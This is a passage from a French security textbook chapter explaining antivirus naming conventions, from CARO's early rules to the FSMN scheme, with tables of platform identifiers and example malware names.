Chaque identifiant détermine une caractéristique. Il est construit à l’aide des caractères [ A-Z a-z 0-9 _$%&!’` # – ]. Les caractères non alphanumériques sont autorisés, mais doivent être évités. Pour plus de lisibilité, il est possible d’utiliser un mixage de minuscules et de majuscules. L’utilisation du soulignage (’_’) est préférée à l’espace. Il est utilisé, dès qu’il facilite la compréhension d’un l’identifiant. La taille de chacun d’entre eux ne dépasse pas 20 caractères. Les noms courts sont encouragés, mais s’il n’est qu’une abréviation factice d’un long nom, ce dernier a la préférence.
Nom de famille Il représente la famille à laquelle le virus appartient. Celle ci regroupe des virus ayant des similitudes structurales. La codification de l’époque stipule de ne jamais : • Employer des noms de compagnie, des noms de marque ou des noms des personnes vivantes. L’utilisation du nom ou du pseudonyme de l’auteur présumé du virus est, par contre, acceptée. Même s’il est préférable de les éviter, les prénoms courants sont permis. Les noms liés, de près ou de loin, au monde de l’anti-virus doivent être particulièrement évités. • Reprendre un nom de famille existant (le nom est unique). • Imaginer un nouveau nom pour un virus appartenant à une famille existante. • Employer des noms obscènes ou blessants. • Reprendre, sans en vérifier la justesse, le nom du fichier dans lequel la souche virale à dénommer est implantée. On doit également d’éviter l’emploi : • De suites numériques (exemple V845). Pouvant différer d’une variante à l’autre, la taille ne peut servir de base à un nom de famille. • De noms de jours liés à des dates d’activation tels que vendredi 13 ou 22 septembre. Ces dates peuvent varier en fonction des variantes et rendre ensuite irrationnel le nom choisi. • De noms géographiques basés sur l’emplacement de la découverte. Il est enfin proposé quelques règles générales : • Tout virus dont le code n’excède pas 100 octets (messages exclus) rejoint la famille Trivial.
PAGET_Ch03 Page 109 Lundi, 11. avril 2005 5:24 17
© Dunod – La photocopie non autorisée est un délit
3.4 La classification des virus
109
• Les virus relativement petits qui ne font que se reproduire et qui ne contiennent aucune routine particulière sont regroupés dans l’une des six familles suivantes : – SillyC – virus non-résidents, qui infectent seulement les COM ; – SillyE – virus non-résidents, qui infectent seulement les EXE ; – SillyCE – virus non-résidents, qui infectent COM et EXE ; – SillyRC – virus résidents, qui infectent seulement les COM ; – SillyRE – virus résidents, qui infectent seulement les EXE ; – SillyRCE – virus résidents, qui infectent les COM et les EXE. Les variantes sont ensuite distinguées par leur taille. Ces propositions furent souvent ignorées dans la forme et de nombreux virus se retrouvèrent aussi reliés à d’autres noms génériques tels que Univ, Tiny, Mini, Minimal, Small ; sans parler des nombreux noms particuliers qui furent affectés à nombre d’entre eux. • Les virus système sans aucune complexité, s’ils ne font que se reproduire et s’ils ne contiennent aucune autre routine particulière sont regroupés en deux familles : – SillyP – virus infectant le secteur de partition (MBR) ; – SillyB – virus infectant le secteur de démarrage (Boot Sector) Les variantes dans chaque famille sont précisées selon le contenu hexadécimal des 2ème et des 3èmes octets du secteur infecté. Cette proposition n’a jamais été appliquée. Les vétérans se souviendront des intitulés GenP et GenB que VirusScan utilisait dans les années 90. Ils concernaient des détections de virus inconnus (Gen pour générique, P pour partition et B pour secteur de boot) sans lien direct avec cette directive. • Les virus de recouvrement écrits dans un langage évolué sont regroupés dans une famille unique, appelée HLLO. Le langage particulier utilisé n’entre pas en compte. Les virus compagnons écrits dans un langage évolué sont regroupés dans une famille unique, appelée HLLC. Le langage particulier utilisé n’entrait pas en compte. Cette double proposition semble avoir été partiellement retenue même si les dérives sont fréquentes (HLL.ow, HLL.C, Baby).
Nom de groupe Le nom de groupe s’applique à un ensemble important de virus semblables dans une même famille. Citons comme anciens exemples : • AntiCAD, un clone particulier de la famille de Jérusalem, contenant de nombreuses variantes. • 1704, un ensemble de plusieurs variantes de virus dans la famille Cascade.
Rang de Variante Majeure Il est utilisé pour rassembler des virus très semblables au sein d’un même groupe. Le rang est presque toujours un nombre. Si possible, il représente la taille du virus.
PAGET_Ch03 Page 110 Lundi, 11. avril 2005 5:24 17
110
Chapitre 3. Notions fondamentales
Rang de Variante Mineure Il regroupe des virus de même taille, de même structure et de comportement semblables. Très souvent, ces variantes mineures n’ont que quelques octets interchangés. Le rang se limite habituellement à une ou 2 lettres de l’alphabet qui s’incrémentent au fil du temps (A, B, C, etc.).
Singularité Un virus peut appartenir à une famille particulière de par sa structure, mais un auteur peut ensuite, pour accroître la difficulté, employer une technique de camouflage telle qu’un moteur polymorphe ou un compacteur (par exemple, PKLite, LZEXE). Si le virus est ensuite capable de se propager en réutilisant de lui-même ce procédé complémentaire, on lui attribue cet index spécial qui le différencie de sa variante originale. Si l’outil lié à la mise en œuvre du procédé se conforme à la règle hiérarchique définie ci-dessus, c’est cette appellation complète qui est utilisée comme paramètre final. Citons comme exemple le virus de Pogue. Membre de la famille Gotcha, il utilise le moteur polymorphe MtE.0_90. Son intitulé se doit d’être Gotcha.Pogue:MtE.0_90. Si la singularité concerne un outil de compression, on utilise les deux premières lettres de celui-ci. Il est parfois nécessaire d’énumérer plusieurs singularités, c’est le cas de Civil_War.1234.A:TPE.1_3:MtE.1_00:PK. Tableau 3.4 — Exemple de dénomination complexe d’un virus de première génération (Civil_War) Nom de famille
Civil_War
Nom de groupe
Pas de nom de groupe
Rang de variante majeure
1234
Rang de variante mineure
A
Première singularité
TPE .1_3
Le code viral est complexifié par l’utilisation externe du moteur polymorphique TPE version 1.3
Seconde singularité
MtE.0_00
Le code viral est ensuite complexifié une seconde fois par l’utilisation externe du moteur polymorphique MtE version 1.00
Troisième singularité
PK
Pour finir, l’intégralité du code est compactée avec PKLite
PAGET_Ch03 Page 111 Lundi, 11. avril 2005 5:24 17
3.4 La classification des virus
111
3.4.2 L’effort de standardisation actuel Aucune standardisation n’est aujourd’hui acceptée par l’ensemble de la communauté anti-virale. Des règles, issues des précédentes, sont cependant suivies par les majors de la profession. Aujourd’hui, les caractères utilisés pour les identifiants se limitent à l’utilisation des lettres et chiffres [ A-Z a-z 0-9] et du tiret ‘-‘. De plus : • L’espace est définitivement proscrit. Il est remplacé par le trait bas ‘_’. Ce dernier caractère ne doit pas être doublé. • Les autres caractères [ $ % & ! ’ ` # ] sont supprimés. S’ils sont vraiment indispensables : – la perluète ‘&’ devient ‘_And_’ (exemple : Dr_and_Et.1710) – le symbole pourcent ‘%’ devient ‘_Pct_’ (ou ‘_Pct’ s’il s’agit du caractère final, exemple : PS-MPC.Seven_Pct.672) – le point d’exclamation ‘ !’ et le dièse ‘#’ deviennent de nouveau délimiteurs comme nous l’expliciterons plus loin. • Le tiret ‘-‘ et le souligné ‘_’ ne sont jamais utilisés comme premier caractère d’un identifiant sauf pour un cas d’espèce que nous détaillerons plus tard. • Les majuscules et les minuscules s’utilisent à bon escient pour faciliter la compréhension : – MyParty est préférable à Myparty ou MYPARTY. – My_Party est également acceptable.
© Dunod – La photocopie non autorisée est un délit
Fully Specified Malware Name Sous l’abréviation FSMN se cache le principal projet de réglementation en matière de dénomination des objets informatiques malveillants. Au sein du CARO, Nick FitzGerald en est l’un des principaux acteurs. En plus des quatre identifiants mis en œuvre par le CARO au début des années 90, il propose trois nouveaux éléments : • Le premier précise le domaine de la malveillance : il dépasse maintenant le monde des virus. • Le second indique la plate-forme qui est censé pouvoir l’accueillir. • L’avant dernier, intitulé dévolution différencie, le cas échéant, les formes diverses d’un même virus. En ce qui concerne l’existant : • Le rang de variante majeure devient systématiquement une indication de taille, • Les délimiteurs se précisent : – Le premier est triple, il s’agit de ‘://’. – Le second est la barre oblique ‘/’. – Les troisième et quatrième sont des points ‘.’. – Les trois derniers identifiants sont directement liés, c’est-à-dire sans délimiteur.
PAGET_Ch03 Page 112 Lundi, 11. avril 2005 5:24 17
112
Chapitre 3. Notions fondamentales
• Le champ singularité est maintenant pluriel. Il débute par un caractère spécial. • Seuls deux identifiants ne sont pas optionnels : – Le nom de famille. – Le rang de variante mineure. En tenant compte des éléments facultatifs, le format complet d’un FSMN se résume par : [<Malveillance>://][/] [.][.].[
Le public ne retient souvent que les 3 éléments récurrents : /.
auquel se rajoute parfois la singularité qui s’applique généralement aux massmailers.
Malveillance Tout en minuscule, ce premier échelon de classification décrit les grandes familles de programmes malveillants. Sans revenir sur la définition des deux premiers, les éléments retenus sont à ce jour : • virus. • trojan (cheval de Troie). • dropper (implanteur). C’est un programme qui installe un ou plusieurs autres éléments malveillants. Le nom de famille qui s’associe à chacun d’entre eux sera généralement le même que celui de l’élément déposé. L’appellation multidropper (pour l’installation d’une série de programmes malveillants distincts) n’a pas été retenue comme élément de premier échelon. Certains spécialistes font une distinction entre implanteurs et injecteurs. Ces derniers installent leur hôte uniquement en mémoire. Très peu nombreux, ils ne font pas ici l’objet d’une entrée particulière mais sont inclus parmi avec les premiers. • intended (prétendu). Pour être considéré comme un virus, un programme doit être à même de se répliquer de manière récursive. S’il échoue dans cette démarche du fait d’un bug quelconque mais si certaines de ses autres routines fonctionnent (activation d’une charge finale par exemple) il reste dangereux. Bien qu’il puisse s’apparenter à un cheval de Troie, la règle actuelle veut que ces faux virus entrent dans une famille particulière connue sous l’anglicisme intended. • kit. Ce sont des boites à outils destinés à la création de malveillances. À la différence du dropper, généralement lancé sur la machine à attaquer, le kit n’installe pas le programme. Il ne fait que le créer et se retrouve donc sur la machine d’un concepteur. Ces kits sont souvent des générateurs de virus. Certains retournent du code compilé (fichiers binaires), d’autres du code
PAGET_Ch03 Page 113 Lundi, 11. avril 2005 5:24 17
© Dunod – La photocopie non autorisée est un délit
3.4 La classification des virus
113
source ou du code interprété. Il est d’usage d’utiliser un même nom de famille pour le kit et ses productions. Exemple : – kit://Win32/VBSWG.A – virus://VBS/VBSWG.A – intended://VBS/VBSWG.B – virus://VBS/VBSWG.J@MM Il existe souvent plusieurs versions d’un même générateur. Les virus qui en sont issus sont généralement difficilement différentiables. Il n’est donc pas fait de lien entre les premiers et les seconds. Il y a souvent bien plus de virus que de générateurs et le virus de rang X peut avoir été créé par un kit de rang Y. Dans certains cas rares, il est cependant possible de relier sans erreur les virus et leurs générateurs. Ceux ci sont alors affectés d’un rang numérique, il en va de même pour les virus. Exemple : – kit://W97M/VMPCK1.A – kit://W97M/VMPCK2.A – virus://W97M/VMPCK1.A, virus://W97M/VMPCK1.B, etc. – virus://W97M/VMPCK2.A, virus://W97M/VMPCK2.B, etc. On voit ici une exception dans laquelle un caractère numérique est accepté au sein d’un nom de famille. • garbage (déchet). Cette dénomination est réservée à des fichiers contenant du code non fonctionnel, complètement endommagé ou encore généré aléatoirement après un dump mémoire accidentel. Ces fichiers sont généralement ignorés et n’entrent pas dans notre classification. Certains d’entre eux doivent pourtant être référencés et même parfois détectés s’il s’agit : – De codes présents dans diverses collections virales de pauvre qualité que l’on rencontre périodiquement sur Internet et au travers de sources dites underground. – De fichiers corrompus fréquemment envoyés aux chercheurs anti-virus. – De fichiers corrompus générés et diffusés par un virus quelconque. Il est aussi possible de retrouver dans cette famille des dumps mémoire volontaires (trashbin) issus de l’étude d’un fichier malveillant quelconque par un chercheur. Ces derniers ne sont pas détectés par l’anti-virus mais classifié pour un éventuel usage ultérieur.
Plate-forme Ce champ défini le système d’exploitation minimal ou le langage nécessaire à l’exécution du code. C’est un nom court qui se limite à quelques caractères liés à une abréviation connue (exemple JS, WM, VBS). Un nom long est également défini à des fins de clarification, principalement lors des échanges techniques avec le public ou les médias. Les noms longs et courts sont identiques lorsqu’ils ne dépassent pas 5 caractères. On évite ainsi les abréviations artificielles telles que JV pour le langage JAVA. Une liste non exhaustive des termes recommandés est reprise ci-après ; elle est suivie d’une seconde liste qui reprend d’autres abréviations utilisées mais non admises par l’ensemble de la profession.
PAGET_Ch03 Page 114 Lundi, 11. avril 2005 5:24 17
114
Chapitre 3. Notions fondamentales
Des codes malicieux sont parfois liés à plus d’une plate-forme. Le regroupement de celles-ci s’effectue alors par le biais d’accolades ; elles sont séparées par des virgules ; il n’y a pas d’espace. Il est aussi possible d’utiliser dans ce cas la pseudo plate-forme Mul (ou Multi). Le virus que beaucoup connaissent sous le nom de O97M/Tristate.A devrait en fait prendre le nom complet : virus://{W97M,X97M,PP97M}/Tristate.A. L’intitulé court O97M (Office97Macro) a été créé pour rassembler les codes malicieux ciblant au moins deux applications Microsoft Office Project et/ou Visio liés Visual Basic for Applications (VBA) v5.0. Il évite ainsi l’utilisation de Mul.
Liste recommandée des plates-formes Cette liste évolue en permanence, même si elle n’est pas officielle, elle tend à être reconnue par un grand nombre de chercheurs. Tableau 3.5 — Liste recommandée pour définir les plates-formes pouvant recevoir des virus Forme courte
Forme longue
Environnement, remarques, exemples
ABAP
ABAP
SAP /R3 Advanced Business Application Programming. Exemple : ABAP/Cadabra
ACM
AutoCadMacro
Macro VBA v5.0 pour AutoCAD r11 et suivants. Exemple : ACM/Star.A
ActnS
ActionScript
Interpréteur Macromedia ActionScript (exemple ShockWave Flash). Cet identifiant remplace le triptyque SWF – voir tableau suivant) Exemple : ActnS/LFM.926
AM
AccessMacro
Macro en AccessBasic AM/AccessiV
AplS
AppleScript
Interpréteur AppleScript.
APM
AmiProMacro
Macro pour AmiPro Exemple : APM/Green_Stripe.A
A97M
Access97Macro
Macro en Visual Basic for Applications (VBA) v5.0 pour Access (Access 97, 2000 et 2002) A97M/Poison
BeOS
BeOS
Be Operating System – Système d’exploitation propriétaire de Be Systems. Exemple : BeOS/Kate
Boot
Boot
Rarement utilisé : infection des secteurs de démarrage des disques dur et disquettes (MBR et/ou secteur de BOOT) dans l’environnement IBM PC et compatible. Exemples : Form, Jumper_B
BSD
BSD
Plates-formes BSD et dérivées. Unix reste néanmoins le nom de référence par défaut. Exemple : BSD/Block.worm
PAGET_Ch03 Page 115 Lundi, 11. avril 2005 5:24 17
115
3.4 La classification des virus
© Dunod – La photocopie non autorisée est un délit
Forme courte
Forme longue
Environnement, remarques, exemples
CSC
CorelScript
Interpréteur CorelScript Exemple : CSC/CSV.A
DOS
DOS
Rarement utilisé : infection des fichiers DOS au format COM, EXE (MZ) ou SYS. Système d’exploitation MSDOS ou approchant et compatible. Exemples : Cascade, Jerusalem
EPOC
EPOC
Système EPOC jusqu’à version 5 incluse Exemple : EPOC/Alone
HLP
WinHelpScript
Interpréteur WinHelp. Cette plate-forme n’est pas destinée à recevoir les codes malicieux en script JS ou VBS, encapsulés-HTML et compilés en fichiers Windows de type .CHM (compiled HTML help files) Exemple : HLP/Pluma
INF
INFScript
Interpréteur Windows INF (sans distinction de versions) Exemple : INF/Xver.ow
Java
Java
Système d’exécution (runtime) Java (autonome ou encapsulé dans un navigateur). Exemple : Java/Strange_Brew
JS
JScript, JavaScript
Interpréteur Jscript et /ou JavaScript. L’hôte n’entre pas en jeu dans cette définition. L’indicateur rassemble les codes autonomes JS qui nécessitent MS JS sous WSH, les codes JS encapsulés-HTML et ceux compilés en fichiers Windows de type .CHM Exemple : JS/Kak@M
Linux
Linux
Plates-formes Linux et assimilables. Unix reste néanmoins le nom de référence par défaut Exemple : LINUX/Califax
MacHC
Macintosh HyperCard
Interpréteur Apple Macintosh HyperCard Exemple : MacHC/Blink
MacOS
MacOS
Macintosh OS antérieur à OS X (versions 6-9) Exemple : MacOS/Autostart
MIRC
mIRCScript
Interpréteur mIRC
MSIL
MSIL
Interpréteur Microsoft Intermediate Language Exemple : MSIL/Bikini.worm
Mul
Multi
Pseudo plate-forme. Identifiant dédié aux programmes malicieux couvrant plusieurs plates-formes
OS2
OS2
OS/2. Exemple : OS2/Mynameis
OSX
OSX
Macintosh OS X
PAGET_Ch03 Page 116 Lundi, 11. avril 2005 5:24 17
116
Chapitre 3. Notions fondamentales
Forme courte
Forme longue
Environnement, remarques, exemples
O97M
Office97Macro
Pseudo plate-forme. Rassemble les codes malicieux ciblant au moins 2 applications Microsoft Office, Project et/ou Visio en Visual Basic for Applications (VBA) v5.0 Exemple : O97M/Tristate
PalmOS
PalmOS
PalmOS Exemple : PalmOS/Phage
Perl
Perl
Interpréteur Perl. L’hôte n’entre pas en jeu dans cette définition : les virus en shell Perl sous Unix(-like), ceux nécessitant Perl sous WSH et ceux encapsulés-HTML Exemple : Perl/Rans
PHP
PHPScript
Interpréteur PHP Exemple : PHP/Rebber
Pirch
PirchScript
Interpréteur Pirch
PS
PostScript
Interpréteur PostScript
P97M
Project97Macro
Macro en Visual Basic for Applications (VBA) v5.0 pour Project (Project 97, 2000 et 2002) Exemple : P97M/Eikrad
PP97M
PowerPoint97Macro
Macro en Visual Basic for Applications (VBA) v5.0 pour PowerPoint (PowerPoint97, 2000 et 2002) Exemple : PP97M/Vic
REG
Registry
Interpréteur dédié aux fichiers de base de registres Windows (.REG). Pas de distinction ASCII / Unicode) Exemple : Reg/Zox.ow
SH
ShellScript
Interpréteur shell Unix(-like). L’hôte n’entre pas en jeu dans cette définition : Linux, Solaris, HP-UX ou autres, avec interpréteur csh, ksh, bash ou autre
Solaris
Solaris
Plate-forme Solaris
SymbOS
Symbian OS (EPOC version 6) Exemple : SymbOS/Cabir
Unix
Unix
Indicateur standard (et préféré) pour les codes binaires liés au monde UNIX. S’il est nécessaire de préciser une plate-forme particulière, on utilisera à titre exceptionnel l’une des trois entrées suivantes. Les scripts sont associés à l’indicateur SH défini plus haut. Exemple : UNIX/Sorso
VBS
VBScript, VisualBasicScript
Interpréteur VBS. L’hôte n’entre pas en jeu dans cette définition : VBS sous WSH, encapsulé-HTML et ceux compilés en fichiers Windows de type .CHM Exemple : VBS/Loveletter.A@MM
PAGET_Ch03 Page 117 Lundi, 11. avril 2005 5:24 17
117
3.4 La classification des virus
© Dunod – La photocopie non autorisée est un délit
Forme courte
Forme longue
Environnement, remarques, exemples
V5M
Visio5Macro
Macro en Visual Basic for Applications (VBA) v5.0 pour Visio (Visio 5.0, 2000 et 2002) Exemple : V5M/Unstable
WM
WordMacro
Macro en WordBasic (WinWord 6.0, Word 95 et Word pour Mac 5) Exemple : WM/CAP
W2M
Word2Macro
Macro en WordBasic (WinWord 2.0) Exemple : W2M/Polite.A
W16
Win16
Windows 16-bits pour systèmes x86 Exemple : W16/RedTeam@MM
W32
Win32
Windows 32-bits pour systèmes x86 (sont exclus Win32s et CE – comprennent Windows 9x, ME, NT, 2000, XP) Exemple : W32/Ska@M
W97M
Word97Macro
Macro en Visual Basic for Applications (VBA) v5.0 pour Word (Word 97, 2000 et 2002) Exemple : W97M/Class.A
XF
ExcelFormula
Ancien langage de formules Excel Exemple : XF/Paix
XM
ExcelMacro
Macro en Visual Basic for Applications (VBA) v3.0 pour Excel (Excel pour Windows 5.0 et Excel for Mac 5.x) Exemple : XM/Laroux
X97M
Excel97Macro
Macro en Visual Basic for Applications (VBA) v5.0 pour Excel (Excel 97, 2000 et 2002) Exemple : X97M/Sugar
Liste non admise mais parfois utilisée Cette liste rassemble des appellations incorrectes parfois rencontrées. L’un des exemples flagrants est le nom HTML qui regroupe un ensemble de fichiers lié à plusieurs langages (principalement JS et VBS). Notons cependant que la notion de format de fichiers n’est pas toujours inappropriée. VBS s’applique à un type de fichiers tout en étant l’acronyme de l’interpréteur Visual Basic Script. Des virus de type VBS se retrouvent au sein de fichiers HTML. Tableau 3.6 — Liste non admise pour définir certaines plates-formes pouvant recevoir des virus Forme courte ATVX, OCX
Forme longue ActiveX
Environnement/Remarques Un contrôle ActiveX lorsqu’il n’est qu’un fichier DLL doit être classifié Win32. Les codes malicieux exploitant des failles de sécurité ActiveX doivent être classifiés selon le langage (généralement de script) qui les supportent. Exemple : AX/Showword, OCX/Exploder
PAGET_Ch03 Page 118 Lundi, 11. avril 2005 5:24 17
118
Chapitre 3. Notions fondamentales
Forme courte
Forme longue
Environnement/Remarques
ELF
ELF
Utilisé par certains développeurs pour classifier les malveillances du monde Linux ou Unix, il définit une structure de fichiers (à rapprocher du concept PE pour Windows). L’identifiant correct est Unix. Exemple : ELF/Spork.worm
HTML
HTML
Les fichiers HTML peuvent véhiculer des scripts malveillants d’origine diverses. Ce sont ces scripts (généralement JS ou VBS) qui doivent contribuer au choix de l’identifiant. Exemple : HTML/Debeski
IIS
IIS
Les codes malicieux exploitant des failles de sécurité IIS (Microsoft Internet Information Server ) ne fonctionneront que sur des machines dédiées. La plupart d’entres elles sont en environnement Windows 32, Windows 64 et Net Server (plate-forme MSIL). C’est cet environnement qui définit l’identifiant à adopter. Exemple : IIS/Backdoor.ACE
JV
Java
Java est le seul nom court acceptable pour du code malveillant nécessitant un système d’exécution (runtime) Java. Le choix JV ne peut que provoquer d’inutiles confusions d’abréviations. Exemple : JV/Shinwow.
MPF
MultiPlatform
Quelques vendeurs utilisent ce terme. Il est lié au langage Java (MPF : multi-OS hosted platform) dont le nom devrait alors servir d’identifiant.
.Net
DotNet
Certains développeurs classifient comme DotNet des programmes nécessitant l’usage d’une version .Net, DotNet ou similaire. Cette classification n’est pas officiellement reconnue. Il y a lieu d’utiliser l’identifiant Win32 s’ils ne sont pas de purs éléments .Net. Dans le cas contraire, on utile l’identifiant MSIL.
Palm
PalmOS
Palm est une marque déposée ; il faut utiliser PalmOS pour définir la plate-forme. Exemple : PALM/Fatal
PDF
PDF
Un code malveillant caché au sein d’un document PDF n’est pas nécessairement un virus PDF. VBS/Peachy utilise les fichiers PDF comme mode de transport, son fonctionnement nécessite la présence d’une version complète d’Adobe Acrobat afin d’être à même de décompacter le script en Visual Basic lié au processus de réplication. Il s’agit donc d’un virus VBS et l’identifiant PDF est donc aujourd’hui malvenu. Exemple : PDF.Yourde
PAGET_Ch03 Page 119 Lundi, 11. avril 2005 5:24 17
119
3.4 La classification des virus
© Dunod – La photocopie non autorisée est un délit
Forme courte
Forme longue
Environnement/Remarques
SWF
ShockWaveFlash
L’identifiant SWF fut utilisé à l’occasion de l’apparition du virus un moment dénommé SWF/LFM.926. Il s’agit en fait d’un virus multi plates-formes dont l’élément infectieux est un fichier DOS de type .COM. Du code ActionScript, absent de certains lecteurs SWF est stocké dans des fichiers ayant cette extension. Le nom complet du virus est donc virus://{DOS,ActnS}/LFM.926.A que l’on peut (abusivement) limiter à LFM.926 (pour la composante DOS) et ActnS/LFM.926 pour l’implanteur.
WinME, WME
WindowsME
Un programme utilisant une spécificité liée à Windows ME et ne fonctionnant pas sous NT, Win2K, XP doit être classifié comme Win32. Exemple : WME/Wide-A
WNT, WinNT
WindowsNT
Certains développeurs classifient WinNT des programmes nécessitant l’usage d’une version Windows NT ou ultérieure. Cette classification n’est pas officiellement reconnue. Il y a lieu d’utiliser l’identifiant Win32 Exemple : WNT/Harmless
WXP, WinXP
WindowsXP
Certains développeurs classifient comme WinXP des programmes nécessitant l’usage d’une version Windows XP ou ultérieure. Cette classification n’est pas officiellement reconnue. Il y a lieu d’utiliser l’identifiant Win32 Exemple : WinXP.Che
W2K, W2000, Win2K, Win2000
Windows2K, Windows2000
Certains développeurs classifient commeWin2K des programmes nécessitant l’usage d’une version Windows 2000 ou ultérieure. Cette classification n’est pas officiellement reconnue. Il y a lieu d’utiliser l’identifiant Win32 Exemple : W2K/Dob
W3X, W31, Win3X, Win31
Windows3X, Windows31
L’identifiant correct est Win16 Exemple : W31.NEHeader
W95, Win95
Windows95
Certains programmes malveillants fonctionnent sous Windows 95, 98, 98SE et/ou ME mais ne fonctionnent pas sous NT, Win2K ou XP. Quelques produits classifient toujours ces éléments qui utilisent les mécanismes VxD et / ou quelques spécificités liées aux plates-formes Win9x comme Win95. Il a été décidé de les classer en temps que Win32. Exemple : W95/CIH
W98, Win98
Windows98
Certains programmes malveillants fonctionnent sous Windows 98, 98SE et/ou ME mais ne fonctionnent pas sous NT, Win2K ou XP. Quelques produits classifient toujours ces éléments quelques spécificités liées aux plates-formes Win98/ME comme Win98. Il a été décidé de les classer en temps que Win32. Exemple : W98/Hatred.A
PAGET_Ch03 Page 120 Lundi, 11. avril 2005 5:24 17
120
Chapitre 3. Notions fondamentales
Nom de Famille Élément non optionnel, le nom de famille est le composant clé de la dénomination. C’est celui qui anime le plus les débats et amène le plus de réclamations. En dehors de l’entourage des chercheurs, c’est souvent le seul que les médias et les utilisateurs retiennent. Les règles émises en 1991 par le CARO ont été amendées. Le projet de réglementation actuel stipule de ne jamais : • Employer des noms de compagnie, des noms de marque ou des noms des personnes vivantes. L’utilisation du nom ou du pseudonyme de l’auteur présumé du virus est maintenant fortement déconseillée : – Il fournit à l’auteur une certaine reconnaissance, principale motivation de nombreux d’entre eux. – Il risque de vite devenir inconsistant car un même auteur crée souvent des virus de plusieurs types. Sans être encouragés dans leur utilisation, les prénoms courants sont permis. Les noms liés, de près ou de loin, au monde de l’anti-virus sont particulièrement évités. Des noms ou des termes précis que le concepteur du code souhaiterait voir repris sont souvent dénaturés avant d’être utilisés comme nom de famille. Cette pratique n’est pas directement préconisée mais s’avère parfois utile en cas de manque d’inspiration. • Reprendre un nom de famille existant. Ce nom doit rester unique. S’il a été utilisé comme dénomination pour une plate-forme, il ne doit pas l’être sur une seconde, sauf s’il existe des similitudes flagrantes ou s’il s’agit de la même malveillance s’attaquant à plusieurs plates-formes. • Imaginer un nouveau nom pour un virus appartenant à une famille existante. Des auteurs différents et des routines d’activation divergentes n’entraînent pas la création d’une famille. L’affiliation se fait au regard de similitudes de code touchant les principes fondamentaux de la classe de malveillance. Pour un virus, le mécanisme d’infection est donc l’aspect primordial à prendre en compte : c’est de par sa capacité de propagation qu’un code va appartenir, ou non, à la famille virale. • Employer de noms obscènes ou blessants. Le choix d’un nom de famille à la vue d’un texte écrit dans une langue inconnue doit être préalablement contrôlé. Certains termes peuvent avoir des connotations religieuses et devenir offensants pour certains groupes à partir du moment ou ils sont associés à un élément malveillant. • Reprendre, sans en vérifier la justesse, le nom du fichier dans lequel est fournit la souche virale. Ce nom peut cependant être une piste intéressante que le chercheur pourra exploiter grâce à VGREP1. 1. VGREP est une base de donnée croisée utilisée par les chercheurs et mise à jour de façon mensuelle. Elle permet une recherche sur la base de mots clés. Chaque élément y est présenté selon les noms de baptêmes des principaux outils de détection.
PAGET_Ch03 Page 121 Lundi, 11. avril 2005 5:24 17
3.4 La classification des virus
121
• D’utiliser des suites numériques. Pour des raisons déjà expliquées, cette pratique jusqu’ici simplement déconseillée est aujourd’hui à proscrire. Les noms numériques entrent aussi dans cette catégorie (exemple Eight941). Outre ces interdictions, on s’applique à suivre les recommandations suivantes en évitant d’utiliser :
© Dunod – La photocopie non autorisée est un délit
• Le nom proposé ou suggéré par l’auteur. Cette reprise pourrait être considérée comme une sorte de reconnaissance. Face à certains virus à la propagation explosive, l’utilisation de ce nom peut cependant permettre d’éviter la multiplicité des appellations prises dans la précipitation. En effet, si la concertation est souvent de mise, elle est parfois rendue difficile lorsqu’une menace majeure apparaît et qu’il faut y répondre sans attendre. Cette abondance des noms est alors particulièrement dommageable puisqu’elle intervient à un moment ou le public est largement informé par les médias. • Le nom par lequel le programme circule. Beaucoup de mass-mailers se diffusent au travers d’un fichier à la dénomination constante. Les variantes qui ne manquent pas d’apparaître se différencient souvent par un nouveau nom. Elles sont parfois plus prolifiques qu’à l’origine et une appellation malta propos engendre des incompréhensions. D’autres mass-mailers choisissent aussi des noms d’une manière plus ou moins aléatoires. Ceux-ci peuvent se retrouver, par ailleurs, comme nom légitime au titre d’une entreprise ou d’un particulier et engendrer de fausses inquiétudes. • Des noms de jours liés à des dates d’activation. • Des reprises de textes qui peuvent facilement changer d’une variante à l’autre. • Des noms géographiques basés sur l’emplacement de la découverte. • Si plusieurs noms sont déjà connus et acceptables, on utilise de préférence celui qui a été donné par le chercheur qui a, le premier, isolé la souche.
Nom de Groupe Tout comme par le passé, le nom de groupe s’applique à un ensemble important de virus semblables dans une même famille. Cette identifiant fut largement utilisée dans le monde des anciens virus DOS. Il est aujourd’hui peu employé et tend à être ignoré pour les menaces actuelles.
Taille Ce champ s’intitulait rang de variante majeure dans la précédente réglementation. Le nom actuel officialise le fait qu’il n’est utilisé que pour les virus fonctionnant par ajout. Il indique la taille du code joint.
PAGET_Ch03 Page 122 Lundi, 11. avril 2005 5:24 17
122
Chapitre 3. Notions fondamentales
Cette information n’est de fait utile que dans ce cas précis et ne s’applique qu’aux virus binaires. Une exception existe cependant dans le cas de certains virus multipartites. Un virus tel que W97M/Beast.41472.A comporte une indication de taille. Cette taille est celle du virus Windows associé. Le nom complet étant : virus://{W32, W97M}/Beast.41472.A. Sans cette indication, la confusion peut facilement s’instaurer à l’apparition de nouvelles variantes et il ne serait plus possible de relier une macro particulière à son fichier binaire associé.
Rang de Variante Mineure & Dévolution L’information de dévolution n’existe qu’associée à certains rangs de variantes mineures. Cet ensemble forme un tout et c’est uniquement par souci de clarification que le champ dévolution est décrit au paragraphe suivant. Le rang de variante mineure est constitué d’une ou plusieurs lettres qui s’incrémentent au fil de l’apparition des variantes (A, B, C, … Z, AA, AB, AC, etc.). Il concerne des virus de même taille (lorsque cette information s’applique) ou de même structure et comportement. Pour les virus programmes binaires, il différencie une légère variation d’un même code. Pour la majorité des macro-virus, des virus de script et des programmes non autoreproducteurs, le rang de variante mineure est souvent le premier niveau de différenciation. Il est situé juste derrière le nom de groupe. L’information de taille est en effet inutile ; particulièrement pour les macro-virus et les virus système. Les programmes malveillants d’aujourd’hui appartiennent souvent au monde Windows (Win32). Ce sont fréquemment des virus et des chevaux de Troie dont la taille ne se limite pas à quelques kilo-octets. Alors que cette information, souvent inutile, prendrait 5 ou 6 digits, on lui préfère donc le rang de variante mineure comme élément distinctif. De par ce choix, le nom devient également plus convivial. Il est plus facile pour le public de distinguer : • Win32/FooBar.A et Win32/FooBar.B, plutôt que, • Win32/FooBar.123456.A de Win32/FooBar.123457.A. Un nom doit toujours inclure un identifiant de rang mineur. S’il s’agit d’un premier élément d’un nouveau groupe, on doit lui attribuer le rang A. Ce même nom sans indication de rang, s’il est utilisé par un anti-virus, doit être considéré comme un nom générique derrière lequel se cache plusieurs variantes détectées par une seule signature.
